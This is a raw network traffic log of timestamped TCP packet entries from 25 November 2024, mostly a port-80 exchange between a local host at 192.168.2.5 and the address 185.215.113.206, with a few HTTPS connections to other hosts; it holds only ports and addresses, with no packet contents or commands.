Nov 25, 2024 18:28:41.654110909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.654160976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.654186010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.654417038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.654975891 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.654990911 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.655025005 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.655050993 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.655858994 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.655873060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.655906916 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.655937910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.657161951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.657174110 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.657315016 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.657644033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.658185005 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.658430099 CET	49845	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:41.658468008 CET	443	49845	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:41.658487082 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.658545017 CET	49845	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:41.658572912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.658701897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.658715010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.658740044 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.658751965 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.658916950 CET	49845	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:41.658929110 CET	443	49845	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:41.659496069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.659544945 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.659828901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.659874916 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.660449028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.660463095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.660511017 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.660526037 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.661293983 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.661365986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.661390066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.661427021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.662210941 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.662223101 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.662256956 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.663095951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.663152933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.663176060 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.663202047 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.663991928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.664041996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.664117098 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.664205074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.665039062 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.665050983 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.665075064 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.665091038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.665787935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.665899038 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.665945053 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.666702032 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.666740894 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.667490005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.667568922 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.667625904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.667639017 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.667661905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.667680025 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.668523073 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.668569088 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.668648005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.668759108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.669403076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.669445038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.669720888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.669816017 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.670316935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.670355082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.670453072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.670521975 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.671209097 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.671278954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.671340942 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.671422005 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.672159910 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.672173023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.672209978 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.672234058 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.673043013 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.673104048 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.673342943 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.673393011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.673943996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.674046993 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.674634933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.674690962 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.674824953 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.674866915 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.675393105 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.675436974 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.675780058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.675792933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.675832033 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.676665068 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.676709890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.699645996 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.699736118 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.699791908 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.700018883 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.700040102 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.700051069 CET	49832	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.700058937 CET	443	49832	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.703341961 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.703391075 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.703680992 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.703794003 CET	49846	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.703809023 CET	443	49846	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.720670938 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.720735073 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.721092939 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.721107006 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.721132040 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.721155882 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.721182108 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.721966982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.722481966 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.722892046 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.722904921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.722917080 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.722976923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.723010063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.723766088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.723898888 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.724026918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.724104881 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.724677086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.724744081 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.725501060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.725578070 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.725609064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.725622892 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.725663900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.777163982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.777257919 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.777375937 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.777419090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.777456999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.777504921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.777609110 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.777708054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.778312922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.778492928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.778510094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.778569937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.779217958 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.779269934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.779340029 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.779391050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.779885054 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.779931068 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.779936075 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.779968977 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.780817986 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.780867100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.780872107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.780909061 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.781712055 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.781733036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.781764984 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.781779051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.782598019 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.782731056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.782829046 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.782916069 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.783483982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.783529043 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.783622026 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.783670902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.784383059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.784440994 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.784558058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.784610033 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.785332918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.785343885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.785398006 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.786217928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.786274910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.786305904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.786343098 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.787081957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.787276983 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.787328005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.787514925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.787991047 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.788064957 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.788095951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.788147926 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.847820044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.847835064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.847901106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.848016977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.848090887 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.848275900 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.848318100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.848361969 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.849149942 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.849211931 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.849519014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.849562883 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.850126982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.850199938 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.850220919 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.850263119 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.851001978 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.851037979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.851063967 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.851078987 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.851934910 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.852004051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.852783918 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.852791071 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.852844954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.852865934 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.852922916 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.853688002 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.854156017 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.854207039 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.854572058 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.854590893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.854603052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.854640007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.855568886 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.855638981 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.855693102 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.856524944 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.856581926 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.857084990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.857208967 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.857336998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.857386112 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.858170033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.858185053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.858227968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.858237028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.858345032 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.859090090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.859142065 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.859302044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.859349012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.859961987 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.860018969 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.860240936 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.860289097 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.861006021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.861016989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.861047983 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.861066103 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.861850023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.861938000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.862145901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.862196922 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.862694979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.862865925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.863117933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.863167048 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.863617897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.863630056 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.863676071 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.864494085 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.864540100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.864759922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.864808083 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.865369081 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.865417004 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.865748882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.865816116 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.866363049 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.866375923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.866416931 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.867234945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.867248058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.867295980 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.868117094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.868172884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.868303061 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.868983030 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.869048119 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.869083881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.870029926 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.870126963 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.870192051 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.870228052 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.870265961 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.870903969 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.870950937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.871085882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.871129990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.871937990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.872030020 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.872076035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.872077942 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.872797966 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.872811079 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.872852087 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.873537064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.873584986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.873724937 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.873897076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.874519110 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.874531031 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.874567986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.875350952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.875361919 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.875402927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.876225948 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.876288891 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.876385927 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.876425982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.921933889 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.921993017 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.922039032 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.922079086 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.922321081 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.922333002 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.922373056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.923001051 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.923049927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.923080921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.923119068 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.923887968 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.923935890 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.924114943 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.924159050 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.924815893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.924860954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.924918890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.924964905 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.925715923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.925762892 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.926132917 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.926182032 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.926605940 CET	80	49761	185.215.113.206	192.168.2.5
